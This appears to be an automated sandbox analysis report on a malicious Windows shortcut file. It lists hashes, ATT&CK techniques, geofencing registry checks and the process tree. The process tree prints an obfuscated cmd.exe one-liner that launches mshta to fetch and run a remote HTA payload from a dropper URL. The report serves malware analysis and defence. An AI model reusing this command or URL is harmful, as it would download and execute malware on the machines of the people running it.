38478a9b723dbc58e8872a7b435f76fbc7bc4411064745dd60d5d7eb26eb8150

Analysis

max time kernel
58s
max time network
60s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/08/2026, 16:00

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General

Target
DOC-VAA4VX.lnk
Size 1KB
Sample260818-tf47dsdm6x
SHA256 38478a9b723dbc58e8872a7b435f76fbc7bc4411064745dd60d5d7eb26eb8150
MD5 0f6664580e688c952021d3f35369960f
SHA1 d351254ae3b5cd02361dfa979514cf79aff2716b
SHA512 ded2bd30d96d0931847b71fdb1f178866f16652ad691036d0e29d93a90e64dcb5c624549e87936e8b031372924465264d8fad72e04124fe4f7d7a90787a8018f
TLSH
T1BA314C102FFD0554F3F79F7694BB57108ABB78558D60C61E4141454C1032A11E97BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4896	cmd.exe
3304	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 3304	4896	cmd.exe	86
PID 3304 wrote to memory of 3284	3304	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-VAA4VX.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4896
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set GLil=msh&&set bxfrc=ta&&start "" !GLil!!bxfrc! https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3304
- - C:\Windows\System32\mshta.exe
    mshta https://documntacion.lat/h/estagio1.php?r=3F1477F15398D1
    3⤵
    PID:3284

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads